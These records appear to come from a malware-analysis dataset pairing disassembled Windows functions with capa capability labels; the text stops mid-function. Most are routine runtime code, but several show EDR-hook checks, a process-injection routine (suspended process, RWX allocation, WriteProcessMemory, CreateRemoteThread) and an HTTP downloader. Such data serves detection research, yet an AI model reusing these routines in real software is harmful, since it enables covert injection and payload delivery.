joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003e380
Capabilities:
Hash data using sha256

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, qword [rcx + 0x20]
mov rsi, rdx
mov edi, dword [rcx + 0x20]
mov rbx, rcx
shl r14, 3
and edi, 0x3f
mov byte [rdi + rcx + 0x28], 0x80
jmp 0x14003e3c6
and edi, 0x3f
jne 0x14003e3c1
mov rcx, rbx
call fcn.14003e728
mov byte [rdi + rbx + 0x28], 0
inc edi
cmp edi, 0x38
jne 0x14003e3b4
lea ebp, [rdi - 0x30]
mov edx, ebp
mov rcx, r14
shl r14, 8
shr rcx, 0x38
mov byte [rdi + rbx + 0x28], cl
inc edi
sub rdx, 1
jne 0x14003e3d2
mov rcx, rbx
call fcn.14003e728
mov rcx, rbx
mov al, byte [rcx + 3]
mov byte [rsi], al
lea rsi, [rsi + 4]
mov al, byte [rcx + 2]
mov byte [rsi - 3], al
mov eax, dword [rcx]
shr eax, 8
mov byte [rsi - 2], al
mov al, byte [rcx]
lea rcx, [rcx + 4]
mov byte [rsi - 1], al
sub rbp, 1
jne 0x14003e3f4
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov dword [rbx], 0x6a09e667
mov dword [rbx + 4], 0xbb67ae85
mov dword [rbx + 8], 0x3c6ef372
mov dword [rbx + 0xc], 0xa54ff53a
mov dword [rbx + 0x10], 0x510e527f
mov dword [rbx + 0x14], 0x9b05688c
mov dword [rbx + 0x18], 0x1f83d9ab
mov dword [rbx + 0x1c], 0x5be0cd19
and qword [rbx + 0x20], rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret

Function at 0x14003e470
Capabilities:
Hash data using sha256

Disassembly:
and qword [rcx + 0x20], 0
mov dword [rcx], 0x6a09e667
mov dword [rcx + 4], 0xbb67ae85
mov dword [rcx + 8], 0x3c6ef372
mov dword [rcx + 0xc], 0xa54ff53a
mov dword [rcx + 0x10], 0x510e527f
mov dword [rcx + 0x14], 0x9b05688c
mov dword [rcx + 0x18], 0x1f83d9ab
mov dword [rcx + 0x1c], 0x5be0cd19
ret
Function at 0x14003e7a8
Capabilities:
Check mutex on windows

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x100
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14006f5c0]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov rbx, rcx
mov qword [rsp + 0x40], rcx
xor r14d, r14d
mov qword [rcx], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20], eax
lea r9, str.1830B7BD_F7A3_4c4d_989B_C004DE465EDE
lea r8, str._s__u
lea edx, [r14 + 0x41]
lea rcx, [rsp + 0x60]
call fcn.14003f05c
mov word [rsp + 0xe0], r14w
mov edi, r14d
lea r8, [rsp + 0x60]
lea edx, [r14 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov rsi, rax
mov qword [rsp + 0x38], rax
test rax, rax
je 0x14003e8e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14003e857
or edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
call fcn.14003eeac
test rax, rax
je 0x14003e885
mov qword [rbx], rax
mov rax, qword [rbx]
inc dword [rax + 0x5d0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
test edi, edi
jne 0x14003e8e5
mov rcx, rsi
call qword [fcn.140037368]
jmp 0x14003e8e5
mov rdi, r14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14003e8a7
xor edx, edx
mov r8d, 0x5d8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
mov qword [rsp + 0x58], rdi
test rdi, rdi
je 0x14003e8be
mov rdx, rsi
mov rcx, rdi
call fcn.14003e948
jmp 0x14003e8c1
mov rax, r14
mov qword [rbx], rax
test rax, rax
je 0x14003e912
mov edi, 1
mov dword [rsp + 0x48], edi
mov rcx, rax
call fcn.14003f004
test eax, eax
je 0x14003e92b
jmp 0x14003e864
mov rax, rbx
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.1400408d0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov dword [rsp + 0x30], 1
lea rdx, [0x14006c270]
lea rcx, [rsp + 0x30]
call sub.msvcrt.dll__CxxThrowException
mov dword [rsp + 0x34], 3
lea rdx, [0x14006c270]
lea rcx, [rsp + 0x34]
call sub.msvcrt.dll__CxxThrowException
int3

Function at 0x14003e948
Capabilities:
Allocate thread local storage

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rdi
sub rsp, 0x30
mov qword [rax - 0x18], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x20], rsi
mov rsi, rdx
mov rdi, rcx
and qword [rcx], 0
or dword [rcx + 8], 0xffffffff
lea rbx, [rcx + 0x10]
and dword [rbx], 0
lea rcx, [rbx + 8]
xor edx, edx
mov r8d, 0x5a0
call sub.msvcrt.dll_memset
mov qword [rbx + 0x5b0], rbx
mov qword [rbx + 0x5a8], rbx
mov qword [rbx + 0x5b8], rbx
and dword [rdi + 0x5d0], 0
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rdi + 8], eax
cmp eax, 0xffffffff
je 0x14003e9ca
mov qword [rdi], rsi
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov dword [rsp + 0x50], 2
lea rdx, [0x14006c270]
lea rcx, [rsp + 0x50]
call sub.msvcrt.dll__CxxThrowException
int3
Function at 0x14003eb54
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov r14, rcx
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rdx, qword [r14]
mov esi, eax
add rdx, 0x10
mov rbx, qword [rdx + 0x5a8]
mov qword [rdx + 0x5b8], rbx
cmp rbx, rdx
je 0x14003ec61
mov rax, qword [rbx + 0x5a8]
mov qword [rdx + 0x5b8], rax
test rbx, rbx
je 0x14003ec61
cmp esi, dword [rbx]
jne 0x14003ebb4
mov rdi, rbx
jmp 0x14003ec32
mov r8d, dword [rbx]
mov edx, 1
lea ecx, [rdx + 0x3f]
call qword [sym.imp.KERNEL32.dll_OpenThread]
test rax, rax
jne 0x14003ec29
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x14003ec1a
mov rcx, qword [rbx + 0x5b0]
mov rax, qword [rbx + 0x5a8]
mov qword [rcx + 0x5a8], rax
mov rcx, qword [rbx + 0x5a8]
mov rax, qword [rbx + 0x5b0]
mov qword [rcx + 0x5b0], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14003ec32
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14003ec32
lea rcx, [0x140059338]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
jmp 0x14003ec32
mov rcx, rax
call qword [fcn.140037368]
mov rcx, qword [r14]
add rcx, 0x10
mov rbx, qword [rcx + 0x5b8]
cmp rbx, rcx
je 0x14003ec5c
mov rax, qword [rbx + 0x5a8]
mov qword [rcx + 0x5b8], rax
test rbx, rbx
jne 0x14003ebab
test rdi, rdi
jne 0x14003ec77
mov rcx, qword [r14]
add rcx, 0x10
call fcn.14003ef4c
mov rdi, rax
test rax, rax
je 0x14003ec77
mov dword [rax], esi
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret

Function at 0x14003edb0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14006fff8]
jmp 0x14003edbc
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x40
mov qword [r11 - 0x18], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov rbx, rcx
mov rax, qword [rcx]
test rax, rax
je 0x14003ee69
mov ecx, dword [rax + 8]
cmp ecx, 0xffffffff
jne 0x14003edf2
and qword [r11 - 0x20], 0
jmp 0x14003ee02
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x14003ee6b
mov rax, qword [rbx]
mov rcx, qword [rax]
test rcx, rcx
je 0x14003ee69
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14003ee69
mov rcx, rbx
call fcn.14003eb54
mov rdi, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14003ee76
mov rax, qword [rbx]
mov ecx, dword [rax + 8]
cmp ecx, 0xffffffff
je 0x14003ee8f
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14003ee8f
jmp 0x14003ee53
mov rax, qword [rbx]
mov rcx, qword [rax]
test rcx, rcx
je 0x14003ee64
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, rdi
jmp 0x14003ee6b
xor eax, eax
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rsp + 0x20], 1
lea rdx, [0x14006c270]
lea rcx, [rsp + 0x20]
call sub.msvcrt.dll__CxxThrowException
mov dword [rsp + 0x24], 4
lea rdx, [0x14006c270]
lea rcx, [rsp + 0x24]
call sub.msvcrt.dll__CxxThrowException
int3
Function at 0x14003edbc
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x14006fff8]
jmp 0x14003edbc
mov r11, rsp
mov qword [r11 + 8], rcx
push rdi
sub rsp, 0x40
mov qword [r11 - 0x18], 0xfffffffffffffffe
mov qword [r11 + 0x10], rbx
mov rbx, rcx
mov rax, qword [rcx]
test rax, rax
je 0x14003ee69
mov ecx, dword [rax + 8]
cmp ecx, 0xffffffff
jne 0x14003edf2
and qword [r11 - 0x20], 0
jmp 0x14003ee02
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x28], rax
test rax, rax
jne 0x14003ee6b
mov rax, qword [rbx]
mov rcx, qword [rax]
test rcx, rcx
je 0x14003ee69
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14003ee69
mov rcx, rbx
call fcn.14003eb54
mov rdi, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14003ee76
mov rax, qword [rbx]
mov ecx, dword [rax + 8]
cmp ecx, 0xffffffff
je 0x14003ee8f
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14003ee8f
jmp 0x14003ee53
mov rax, qword [rbx]
mov rcx, qword [rax]
test rcx, rcx
je 0x14003ee64
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, rdi
jmp 0x14003ee6b
xor eax, eax
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rsp + 0x20], 1
lea rdx, [0x14006c270]
lea rcx, [rsp + 0x20]
call sub.msvcrt.dll__CxxThrowException
mov dword [rsp + 0x24], 4
lea rdx, [0x14006c270]
lea rcx, [rsp + 0x24]
call sub.msvcrt.dll__CxxThrowException
int3

Function at 0x140041bf4
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x430
xor edi, edi
mov rbx, rcx
cmp byte [0x140070660], dil
je 0x140041c22
mov r8d, 0x800
xor edx, edx
call qword [fcn.140037af0]
jmp 0x140041ce4
test rbx, rbx
je 0x140041cd7
cmp word [rcx], di
je 0x140041cd7
cmp qword [0x140070650], rdi
jne 0x140041c42
xor r8d, r8d
jmp 0x140041c15
mov edx, 0x200
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec eax
cmp eax, 0x1fe
ja 0x140041cd0
mov rax, rbx
mov qword [rsp + 0x28], rbx
mov ecx, 2
jmp 0x140041c6d
add rbx, rcx
cmp word [rbx], di
jne 0x140041c6a
sub rbx, rax
mov qword [rsp + 0x448], rdi
sar rbx, 1
lea r9, [rsp + 0x448]
add bx, bx
lea r8, [rsp + 0x20]
mov word [rsp + 0x20], bx
xor edx, edx
add bx, cx
lea rcx, [rsp + 0x30]
mov word [rsp + 0x22], bx
call qword [0x140070650]
test eax, eax
jns 0x140041cc6
mov rdx, qword [0x140070658]
test rdx, rdx
je 0x140041cbe
mov ecx, eax
call rdx
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsp + 0x448]
jmp 0x140041ce4
mov ecx, 0x65b
jmp 0x140041cdc
mov ecx, 0x57
call qword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov rbx, qword [rsp + 0x440]
add rsp, 0x430
pop rdi
ret
Function at 0x140041e30
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x20
cmp dword [rcx], 0xe06d7363
mov rdi, r9
mov rbp, r8
mov r14, rdx
mov rsi, rcx
jne 0x140041eee
mov rax, qword [r9 + 0x38]
mov qword [rsp + 0x48], rbx
mov ebx, dword [rax]
add rbx, qword [r9 + 8]
mov eax, dword [rbx]
and eax, 0x1fffffff
sub eax, 0x19930521
cmp eax, 1
ja 0x140041ee9
mov eax, 1
xchg dword [0x140070670], eax
cmp eax, 1
jne 0x140041ea0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
xchg dword [0x140070670], eax
cmp eax, 1
je 0x140041e85
lea r9, [rsp + 0x40]
mov edx, 4
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140041ee1
and dword [rbx], 0xf9930520
lea r9, [rsp + 0x40]
or dword [rbx], 0x19930520
mov edx, 4
mov r8d, dword [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
xchg dword [0x140070670], eax
mov rbx, qword [rsp + 0x48]
mov r9, rdi
mov r8, rbp
mov rdx, r14
mov rcx, rsi
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rsi
jmp qword [sym.imp.msvcrt.dll___CxxFrameHandler]
Function at 0x140042050
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x4f0]
sub rsp, 0x5f0
mov rax, qword [0x14006f5c0]
xor rax, rsp
mov qword [rbp + 0x4e0], rax
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14004208c
mov ecx, 5
int 0x29
mov ecx, 2
call fcn.1400414cc
xorps xmm0, xmm0
lea rcx, [rbp + 0x10]
xor eax, eax
xor edx, edx
mov r8d, 0x4d0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call sub.msvcrt.dll_memset
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x10]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [rbp + 0x108]
lea rdx, [rsp + 0x40]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x140042148
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x58]
mov qword [rsp + 0x38], 0
mov r9, rax
mov qword [rsp + 0x30], rcx
mov r8, rbx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x28], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x20], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov rax, qword [rbp + 0x4f8]
mov qword [rbp + 0x108], rax
lea rax, [rbp + 0x4f8]
add rax, 8
mov dword [rsp + 0x70], 0xc0000417
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0x4f8]
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x74], 1
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x1400421b0
test ebx, ebx
jne 0x1400421b0
mov ecx, 2
call fcn.1400414cc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x4e0]
xor rcx, rsp
call fcn.1400408d0
mov rbx, qword [rsp + 0x600]
add rsp, 0x5f0
pop rbp
ret

Function at 0x1400509a0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov ebx, ecx
mov dword [rsp + 0x60], 0
xor ecx, ecx
mov dword [rsp + 0x68], 2
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140050a02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140050a02
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
jne 0x140050a02
mov eax, 0x20b
cmp word [rdx + 0x18], ax
jne 0x140050a02
cmp dword [rdx + 0x84], 0xe
jbe 0x140050a02
cmp dword [rdx + 0xf8], 0
je 0x140050a02
mov ecx, ebx
call fcn.140050860
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140070690]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1400506e0
cmp dword [rsp + 0x60], 0
jne 0x140050a45
mov ecx, ebx
call fcn.140050820
int3
add rsp, 0x40
pop rbx
ret
Function at 0x140050a90
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
xor eax, eax
mov ebx, ecx
xor ecx, ecx
mov dword [rsp + 0x60], eax
mov dword [rsp + 0x68], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140050aec
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140050aec
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140050aec
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140050aec
cmp dword [rcx + 0x84], 0xe
jbe 0x140050aec
cmp dword [rcx + 0xf8], 0
je 0x140050aec
mov ecx, ebx
call fcn.140050860
lea rax, [rsp + 0x68]
mov byte [rsp + 0x58], 0
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
lea rcx, [0x140070690]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x30], rax
call fcn.1400506e0
cmp dword [rsp + 0x60], 0
jne 0x140050b2f
mov ecx, ebx
call fcn.140050820
int3
add rsp, 0x40
pop rbx
ret
Function at 0x140001070
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x110
mov eax, 0x5a4d
mov rbp, rdx
mov rsi, rcx
cmp word [rcx], ax
jne 0x1400011a9
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x1400011a9
movups xmm0, xmmword [rax + 0x18]
lea r8, [rsp + 0x20]
xor ebx, ebx
movups xmm1, xmmword [rax + 0x28]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [r8 + 0x50], xmm1
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [r8 - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [r8], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [r8 + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [r8 + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [r8 + 0x50], xmm0
movups xmmword [r8 + 0x60], xmm1
mov r14d, dword [rsp + 0x90]
add r14, rcx
mov r15d, dword [r14 + 0x20]
mov r12d, dword [r14 + 0x1c]
add r15, rcx
mov r13d, dword [r14 + 0x24]
add r12, rcx
add r13, rcx
cmp dword [r14 + 0x14], ebx
jbe 0x1400011a9
nop word [rax + rax]
movzx eax, word [r13 + rbx*2]
mov rcx, rbp
mov edx, dword [r15 + rbx*4]
add rdx, rsi
mov edi, dword [r12 + rax*4]
add rdi, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400011cc
inc ebx
cmp ebx, dword [r14 + 0x14]
jb 0x140001180
xor eax, eax
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp byte [rdi], 0x4c
jne 0x1400011f4
cmp byte [rdi + 1], 0x8b
jne 0x1400011f4
cmp byte [rdi + 2], 0xd1
jne 0x1400011f4
cmp byte [rdi + 3], 0xb8
jne 0x1400011f4
mov rdx, rbp
lea rcx, str.NTAPI__s_may_not_be_hooked_n
call fcn.140001010
jmp 0x1400011a9
mov rdx, rbp
lea rcx, str.NTAPI__s_is_hooked_n
call fcn.140001010
mov eax, 1
jmp 0x1400011ab
Function at 0x140001210
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x30]
mov rdi, qword [rax + 0x10]
mov rax, qword [rax]
mov rdx, rdi
mov rcx, qword [rax]
mov rbx, qword [rcx + 0x10]
lea rcx, str.ntdll_base_address:__p_n
call fcn.140001010
mov rdx, rbx
lea rcx, str.kernel32_base_address:__p_n
call fcn.140001010
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rdi
call fcn.140001070
lea rdx, str.NtOpenProcess
mov rcx, rdi
call fcn.140001070
lea rdx, str.NtReadVirtualMemory
mov rcx, rdi
call fcn.140001070
lea rdx, str.NtWriteVirtualMemory
mov rcx, rdi
call fcn.140001070
lea rdx, str.NtWriteVirtualMemory
mov rcx, rdi
call fcn.140001070
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rdi
ret

Function at 0x140001b94
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bde
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bde
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bde
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bde
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bde
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001be0
xor al, al
add rsp, 0x28
ret
Function at 0x401560
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xe8
xor eax, eax
xor r9d, r9d
xor r13d, r13d
mov qword [rsp + 0x50], 0
mov rbx, rdx
mov rdx, r8
lea r8, [rsp + 0x70]
mov qword [rsp + 0x58], 0
mov rdi, r8
mov rsi, rcx
mov ecx, 0xd
rep stosq qword [rdi], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0x68
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x401610
mov eax, r13d
add rsp, 0xe8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
ret
mov rcx, qword [rsp + 0x50]
mov r9d, 0x3000
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rdi, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rdi
mov r12, rax
test rax, rax
je 0x4016e3
mov rcx, qword [rsp + 0x50]
mov r9, rbx
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4016c8
mov dword [rsp + 0x28], 0
mov r9, r12
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, rax
test rax, rax
je 0x4016c8
mov rcx, qword [rsp + 0x58]
mov r13d, 1
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rbx, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call rbx
mov rcx, qword [rsp + 0x50]
call rbx
mov rcx, qword [rsp + 0x58]
call rbx
jmp 0x4015f2
mov dword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov rdx, r12
mov r9d, 0x8000
call rdi
mov rcx, qword [rsp + 0x50]
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x4015f2
Function at 0x401700
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push r15
mov eax, 0x1058
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.0040d4d0
sub rsp, rax
xor r9d, r9d
xor r13d, r13d
mov dword [rsp + 0x20], 0
mov r12, rcx
mov rsi, rdx
mov rbx, r8
mov edx, 1
xor r8d, r8d
lea rcx, str.Load
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], rax
test rax, rax
je 0x401826
mov rdx, r12
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r12, rax
test rax, rax
je 0x401840
mov dword [rsp + 0x4c], 0
lea r13, [rsp + 0x4c]
lea rdi, [rsp + 0x50]
mov qword [rbx], 0
jmp 0x4017f2
mov ecx, dword [rsp + 0x4c]
test ecx, ecx
je 0x40180b
add rcx, qword [rbx]
call fcn.0040f990
mov r14, qword [rsi]
mov r15, rax
test r14, r14
je 0x4017d1
mov r8, qword [rbx]
mov rcx, rax
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rcx, r14
call fcn.0040f960
mov ebp, dword [rsp + 0x4c]
mov r14, qword [rbx]
mov rdx, rdi
mov r8, rbp
lea rcx, [r15 + r14]
call sub.msvcrt.dll_memcpy
lea r8, [rbp + r14]
mov qword [rsi], r15
mov qword [rbx], r8
mov r9, r13
mov r8d, 0x1000
mov rdx, rdi
mov rcx, r12
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4017a0
mov rsi, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r12
call rsi
mov rcx, qword [rsp + 0x38]
call rsi
cmp qword [rbx], 0
setne r13b
mov eax, r13d
add rsp, 0x1058
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x401826

Function at 0x40c450
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
